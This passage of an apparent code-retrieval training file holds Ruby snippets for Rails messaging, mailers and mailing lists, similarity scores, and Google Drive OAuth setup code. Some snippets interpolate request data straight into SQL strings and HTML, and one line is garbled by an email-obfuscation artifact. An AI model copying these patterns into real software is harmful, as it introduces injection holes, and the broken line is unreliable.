class=\"face-angry\"></i> '\n end\n\t\tend\n\t\tif list.updated_at == list.created_at\n case list\n\t\t\t\twhen Comment\n\t\t\t\t\trender :inline => utag+t('comment.cup')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Content\n\t \t\trender :inline => utag+t('content.cup')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Mood\n\t \t\trender :inline => utag+t('mood.cup')+ facemood + t('mood.oncup') + ' ' + '<a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Project\n\t \t\trender :inline => '<p>' + t('project.pup')+ ' <a href=\"/projects/'+list.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Milestone\n\t \t\trender :inline => '<p>' + t('milestone.mup')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Form\n\t \t\trender :inline => '<p>' + t('form.fup')+' <a href=\"' + list.admin_url + '\" class=\"projectLink\">'+ list.title+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Client\n\t \t\trender :inline => '<p>' + t('client.cup')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \t\tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Contact\n\t \t\trender :inline => '<p>' + t('contact.cup')+' <strong>'+list.name + ' </strong>' + t('contact.toc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t end\n else\n\t if list.instance_of? Client\n\t \trender :inline => t('client.cmod')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t elsif list.instance_of? Contact\n \t\trender :inline => t('contact.cmod')+' <strong>'+list.name + ' </strong>' + t('contact.ctoc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Milestone\n \t\trender :inline => t('milestone.mmod')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Content\n \t\trender :inline => utag+t('content.cmod')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Comment\n\t\t\t\trender :inline => utag+t('comment.cmod')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \tend\n\t\tend\n\tend", "def add_multi_to_database(sendername, recipient, devicelist, message, result)\n\t\tmulticast_id = result[\"multicast_id\"]\n\t\tcanonical_id = result[\"canonical_ids\"]\n\n\t\tdevicelist.each_with_index do |devicemap, indx|\n\t\t\tdevice_owner = []\n\t\t\towner = db.exec(\"SELECT email FROM accounts WHERE fcm_id = '#{devicemap}'\")\n\t\t\towner.each_row do |owner, id|\n\t\t\t\tdevice_owner << owner\n\t\t\tend\n\t\t\t\n\t\t\tif result[\"results\"][indx].include?(\"message_id\")\n\t\t\t\tstatus = \"success\"\n\t\t\t\tmessageid = result[\"results\"][indx][\"message_id\"]\n\t\t\telsif result[\"results\"][indx].include?(\"error\")\n\t\t\t\tstatus = \"failure\"\n\t\t\t\tmessageid = result[\"results\"][indx][\"error\"]\n\t\t\tend\n\t\t\ttimestamp = Time.now\n\t\t\tdb.exec(\"INSERT INTO messages(recipient, sendername, message, messagestatus, messageid, timestamp, canonical_id, multicast_id, device_owner) VALUES('#{recipient}','#{sendername}','#{message}','#{status}','#{messageid}','#{timestamp}','#{canonical_id}','#{multicast_id}','#{device_owner}')\");\n\t\tend\n\n\tend", "def set_mail_list\n @mail_list = MailList.find(params[:id])\n end", "def index\n order = Arel.sql('coalesce(sca_name,mundane_name) ASC')\n @search = params[:search]\n @recipients = if @search\n search_recipients(@search).order(order)\n else\n Recipient.order(order)\n end\n end", "def my_parse_recipients(mail)\n %W(to cc bcc).inject({}) do |acc, header|\n acc[header] = [mail.header[header]].flatten.collect {|address| address.to_s}\n acc\n end\n end", "def create\n\n @message = current_user.messages.build\n @message.subject = params[:message][:subject]\n @message.body = params[:message][:body]\n# @message.to User.find_by_username(params[:message][:to])\n @message.to User.find(:all, :conditions=>[\"username IN (\\\"#{params[:message][:to].split(',').join(\"\\\",\\\"\")}\\\")\" ]) unless params[:message][:to].nil?\n\n\n respond_to do |format|\n if @message.save\n @message.deliver\n\n flash[:notice] = 'Message was successfully created.'\n format.html { redirect_to(@message) }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def content_from(mesg)\n mesg.slice(6..mesg.length).split(',')\nend", "def send_to_participants(owner,from)\n\t\t# send an email to the owner of the status post, unless the comment is coming from the creator\n\t\tdeliver(\"#{from.name} posted a comment on your status\", owner, from) unless owner.eql? from\n\t\t# iterate through all the collaborators and send an email to all, unless the comment is coming from the creator\n\t\tself.commentable.comments.collaborators.each do |user|\n\t\t\tunless user.eql? owner or user.eql? from\n\t\t\t\tif owner.eql? from\n\t\t\t\t\tdeliver(\"#{from.name} posted a comment on their status\", user, from) \n\t\t\t\telse\n\t\t\t\t\tdeliver(\"#{from.name} posted a comment on #{owner.name} status\", user, from) \n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def get_contact_for_list(list_id, contact_id)\n full_path = full_resource_path(\"/#{list_id}/contacts/#{contact_id}\", 'lists')\n query_params = MaropostApi.set_query_params\n \n MaropostApi.get_result(full_path, query_params)\n end", "def show\n @message = @message\n @parent = Message.find_by_id(@reply_message_id)\n\n if @message.is_system_notification != 1\n @id = []\n @id << @message.user_id.to_s && @id << @message.to_user_id.to_s\n if [email protected]?(@current_user.id.to_s)\n redirect_to \"/contact_us\"\n end\n else\n @to_user_id_array = @message.to_user_id.split(\",\")\n if !@to_user_id_array.include?(@current_user.id.to_s)\n redirect_to \"/contact_us\"\n end\n end\n\n\n end", "def generate_and_send_for_recipient_records\n new_recipient_data = []\n recipient_hash_from_data.each do |rec|\n # Get the list item instance referenced by the list_type and id values\n list_item = list_item_for(rec[:list_type], rec[:id])\n\n if list_item && (list_item.send_status == 'not sent' || list_item.can_retry?)\n # Get the referenced record item from the list item (such as live contact record)\n record_item = list_item.record_item no_exception: true\n # If a record_item is referenced from the list item, use that as data instead\n self.item = record_item || list_item\n # Set the data to nil to ensure template generation uses the item\n self.data = nil\n # Force a current user to be the batch user, so that a single user can be set for access to any\n # external IDs, associated tables, etc, required for data substitutions.\n item.current_user = batch_user\n pn = Formatter::Phone.format list_item.data,\n format: :unformatted,\n default_country_code: rec[:default_country_code]\n recipient_sms_numbers = [pn]\n # Generate and send to this specific phone number with the data for this item\n resp = generate_and_send recipient_sms_numbers: recipient_sms_numbers\n\n list_item.set_response list_item.user, resp\n # Add the phone number to the recipient data hash\n new_recipient_data << rec.merge(data: list_item.data)\n else\n log_recipient_data_reason list_item\n end\n end\n\n self.recipient_data = new_recipient_data\n end", "def member_of_mailing_list(email, list_name)\n\tbegin\n\t\tlist_id = Rails.configuration.mailing_lists[:mailchimp_list_ids][list_name.to_sym]\n\t\tGibbon::Request.lists(list_id).members(email_md5_hash(email)).retrieve\n\trescue Gibbon::MailChimpError => e\n\t\tputs \"MailChimp error while retrieving member info: #{e.title}; #{e.detail}; status: #{e.status_code}; email: #{email}; list: #{list_name}\"\n\tend\nend", "def index\n @mail_lists = MailList.all\n end", "def add_list!\n commit_list!\n @last_log_recipient_list = mail_log.mail_log_recipient_lists.build(:recipients => [])\n end", "def view(id)\n @lwidth = '20%'\n @rwidth = '0'\n @height = '800'\n @contact = Contact[id]\n @tasks = Task.filter(:contact_id => id)\n @task_count = @tasks.count\n session[:method] = 'view'\n if @contact.nil?\n redirect Contacts.r(:index)\n end\n# p @contact\n @campaign_name = Array.new(1,@contact.campaign.name)\n @items = Action.recent_items\n end", "def list\n perform_request(Entities::MarketingEmail, 'newsletter/list.json')\n end", "def mail(headers={}, &block)\n headers.reverse_merge! 'X-Mailer' => 'Redmine',\n 'X-Redmine-Host' => Setting.host_name,\n 'X-Redmine-Site' => Setting.app_title,\n 'X-Auto-Response-Suppress' => 'All',\n 'Auto-Submitted' => 'auto-generated',\n 'From' => Setting.mail_from,\n 'List-Id' => \"<#{Setting.mail_from.to_s.tr('@', '.')}>\"\n\n ################\n # Smile specific #782168 V4.0.0 : Plugin option to redirect all notifications to the action author\n redirect_notifications_to_author = (\n Setting.plugin_redmine_admin_enhancements['redirect_notifications_to_author'] &&\n @author.present? &&\n @author.mail.present?\n )\n if redirect_notifications_to_author\n Rails.logger.debug \" =>mail redirect mails to author #{@author.mail}\"\n end\n # END -- Smile specific\n #######################\n\n # Replaces users with their email addresses\n [:to, :cc, :bcc].each do |key|\n if headers[key].present?\n ################\n # Smile specific #782168 V4.0.0 : Plugin option to redirect all notifications to the action author\n # Smile specific : param redirect_to_author added\n # => emails with user name\n headers[key] = self.class.email_addresses(headers[key], redirect_notifications_to_author)\n end\n end\n\n # Removes the author from the recipients and cc\n # if the author does not want to receive notifications\n # about what the author do\n if @author && @author.logged? && @author.pref.no_self_notified\n addresses = @author.mails\n headers[:to] -= addresses if headers[:to].is_a?(Array)\n headers[:cc] -= addresses if headers[:cc].is_a?(Array)\n end\n\n if @author && @author.logged?\n redmine_headers 'Sender' => @author.login\n end\n\n # Blind carbon copy recipients\n if Setting.bcc_recipients?\n headers[:bcc] = [headers[:to], headers[:cc]].flatten.uniq.reject(&:blank?)\n headers[:to] = nil\n headers[:cc] = nil\n end\n\n ################\n # Smile specific #782168 V4.0.0 : Plugin option to redirect all notifications to the action author\n if redirect_notifications_to_author\n @messages_mail_transfered_to_autor = []\n\n [:to, :cc, :bcc].each do |key|\n if headers[key].present?\n headers[key].each do |h|\n @messages_mail_transfered_to_autor << [key, h]\n end\n end\n\n headers[key] = nil\n end\n\n headers[:to] = [@author.mail]\n Rails.logger.debug \" =>mail headers[:to] := #{headers[:to].inspect}\"\n end\n # END -- Smile specific\n #######################\n\n if @message_id_object\n headers[:message_id] = \"<#{self.class.message_id_for(@message_id_object)}>\"\n end\n if @references_objects\n headers[:references] = @references_objects.collect {|o| \"<#{self.class.references_for(o)}>\"}.join(' ')\n end\n\n the_super_method = method(__method__).super_method.super_method\n #Rails.logger.debug \" =>mail method =#{method(__method__).inspect}\"\n #Rails.logger.debug \" =>mail super method =#{method(__method__).super_method.inspect}\"\n #Rails.logger.debug \" =>mail super super method=#{the_super_method}\"\n\n if block_given?\n # Smile specific call super super method : the original super\n \n the_super_method.call headers, &block\n # Smile comment : UPSTREAM code\n # super headers, &block\n else\n # Smile specific call super super method : the original super\n the_super_method.call headers do |format|\n format.text\n format.html unless Setting.plain_text_mail?\n end\n # Smile comment : UPSTREAM code\n # super headers do |format|\n # ...\n end\n end", "def reply(content)\n @greeting = \"Hi\"\n @admin = content[:from]\n @contact = content[:to]\n @message = content[:message]\n mail to: content[:to].email, subject: \"RE: \"+content[:to].subject\n end", "def index\n @direct_messages = DirectMessage.get_direct_messages(current_user)\n \n @recipients = User.reachable_users(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @direct_messages }\n end \n end", "def subject_for(from_name, conversation_with, verb=\"sent\", suffix=\"video\")\n \n case conversation_with.count\n when 0 \n \"#{from_name} #{verb} you #{suffix}\"\n when 1\n \"#{from_name} #{verb} you and #{nickname_for_user_or_email(conversation_with[0])} #{suffix}\"\n when 2\n \"#{from_name} #{verb} you, #{nickname_for_user_or_email(conversation_with[0])} and #{nickname_for_user_or_email(conversation_with[1])} #{suffix}\"\n else\n others = conversation_with[0..1].map { |p| nickname_for_user_or_email(p) } .join(\", \")\n \"#{from_name} #{verb} you, #{others} and #{pluralize(conversation_with.count-2, 'other')} #{suffix}\"\n end\n end", "def findme_list(list, config={})\n @action.add_element('app').text = 'findme'\n @action.add_element(@param)\n @param.add_element('phone_list').text = list.join('|')\n \n if config.any?\n config.each do |k,v|\n @param.add_element(k).text = v\n end\n end\n return @doc.to_s\n end", "def find_list\n @list = @topic.lists.find(params[:list_id])\n end" ]
[ "0.61859226", "0.58649576", "0.5686128", "0.56551373", "0.5642614", "0.56382513", "0.56230783", "0.5579275", "0.5554816", "0.55257034", "0.54999983", "0.5458246", "0.5428199", "0.54071736", "0.54063576", "0.5391736", "0.5388655", "0.5365594", "0.53564703", "0.53466403", "0.5337612", "0.527323", "0.5270577", "0.52523005", "0.52358466", "0.51993376", "0.5197268", "0.5182462", "0.5176823", "0.5170358", "0.51495993", "0.5139778", "0.51353985", "0.51348984", "0.51225364", "0.5122264", "0.5119827", "0.51152533", "0.5107134", "0.5100995", "0.50944567", "0.50887907", "0.50821364", "0.50809425", "0.5074346", "0.50720996", "0.50703347", "0.5069815", "0.50686216", "0.50639564", "0.50381863", "0.5025024", "0.50236297", "0.5016283", "0.5015858", "0.49989003", "0.49917346", "0.49909773", "0.4990926", "0.4990828", "0.49842045", "0.49805188", "0.49762028", "0.4968132", "0.4966093", "0.49633136", "0.49623713", "0.4960399", "0.4954777", "0.49519518", "0.49454337", "0.49449688", "0.49405178", "0.49392685", "0.49355942", "0.49348256", "0.49340972", "0.49322903", "0.4919518", "0.4917712", "0.49167585", "0.49091253", "0.49074182", "0.4905908", "0.49038768", "0.48991746", "0.48946643", "0.48909864", "0.48909676", "0.4884684", "0.48835403", "0.48818028", "0.48810115", "0.4880572", "0.48749894", "0.48732665", "0.48721865", "0.48649883", "0.48551336", "0.48520744", "0.48503974" ]
0.0
-1
Authenticate and instantiate the google drive
def initialize(app_name, credentials_path, client_secrets_path, scope) gda = GoogleDriveAuthenticator.new(app_name, credentials_path, client_secrets_path, scope) @client = gda.client @drive_api = gda.drive_api @threads = [] @semaphore = Mutex.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n self.class.service = Google::Apis::DriveV3::DriveService.new\n authorize_service(self.class.service)\n end", "def google_set_up\n require 'google/apis/drive_v2'\n\n scopes = 'https://www.googleapis.com/auth/drive'\n authorization = Google::Auth.get_application_default(scopes)\n #Drive = Google::Apis::DriveV2 # Alias the module\n @drive = Google::Apis::DriveV2::DriveService.new\n @drive.authorization = authorization\n end", "def initialize\n print \"[GOOGLE DRIVE] Restoring session...\\n\"\n @session = GoogleDrive::saved_session(config, nil, CLIENT_ID, CLIENT_SECRET)\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n # client_id = Google::Auth::ClientId.from_hash(Rails.application.config.gdrive_secrets)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store\n )\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n end\n auth\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n client_id: app_info.client_id,\n client_secret: app_info.client_secret,\n scope: SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def google_session\n google_service_account_credential_file = 'pennypoll-d23e19e91329.json'\n\n GoogleDrive::Session.from_service_account_key(\n google_service_account_credential_file\n )\nend", "def authorize\r\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\r\n\r\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(\r\n client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(\r\n base_url: OOB_URI)\r\n puts \"Open the following URL in the browser and enter the \" +\r\n \"resulting code after authorization\"\r\n puts url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIAL))\n file_store = Google::APIClient::FileStore.new(CREDENTIAL)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRET)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIAL}\" unless auth.nil?\n end\n auth\n end", "def ruby_gdrive\n def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\n end\n\n def setup_gdrive\n # Initialize the API\n client = Google::APIClient.new(:application_name => APPLICATION_NAME)\n client.authorization = authorize\n drive_api = client.discovered_api('drive', 'v2')\n return client, drive_api\n end\n\n def get_10_files\n #setup gdrive\n client, drive_api = setup_gdrive\n # List the 10 most recently modified files.\n results = client.execute!(\n :api_method => drive_api.files.list,\n :parameters => { :maxResults => 10 })\n resultado = \"\"\n resultado += \"Files: \\n\"\n resultado += \"No files found\" if results.data.items.empty?\n results.data.items.each do |file|\n resultado += \"#{file.title} (#{file.id})\\n\"\n end\n return resultado\n end\n \n def get_first_file\n #setup gdrive\n client, drive_api = setup_gdrive\n # List the 10 most recently modified files.\n results = client.execute!(\n :api_method => drive_api.files.list,\n :parameters => { :maxResults => 10 })\n resultado = \"\" if results.data.items.empty?\n resultado = results.data.items[2]\n #results.data.items.each do |file|\n #resultado += \"#{file.title} (#{file.id})\\n\"\n #end\n return resultado\n end\n\n def download_first_file\n #setup gdrive\n client, drive_api = setup_gdrive\n file = get_first_file\n result = client.execute(:uri => file.download_url)\n return result\n if file.download_url\n result = client.execute(:uri => file.download_url)\n if result.status == 200\n return result.body\n else\n puts \"An error occurred: #{result.data['error']['message']}\"\n return nil\n end\n else\n # The file doesn't have any content stored on Drive.\n return nil\n end\n end \nend", "def authorize(interactive)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store, '')\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? && interactive\n url = authorizer.get_authorization_url(base_url: BASE_URI, scope: SCOPE)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n#{url}\")\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: BASE_URI\n )\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\\n\"\n puts url\n print \"\\nCode: \"\n code = gets\n puts\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(@CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(@CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => @SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{@CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\n end", "def authorize\r\n client_id = Google::Auth::ClientId.from_file 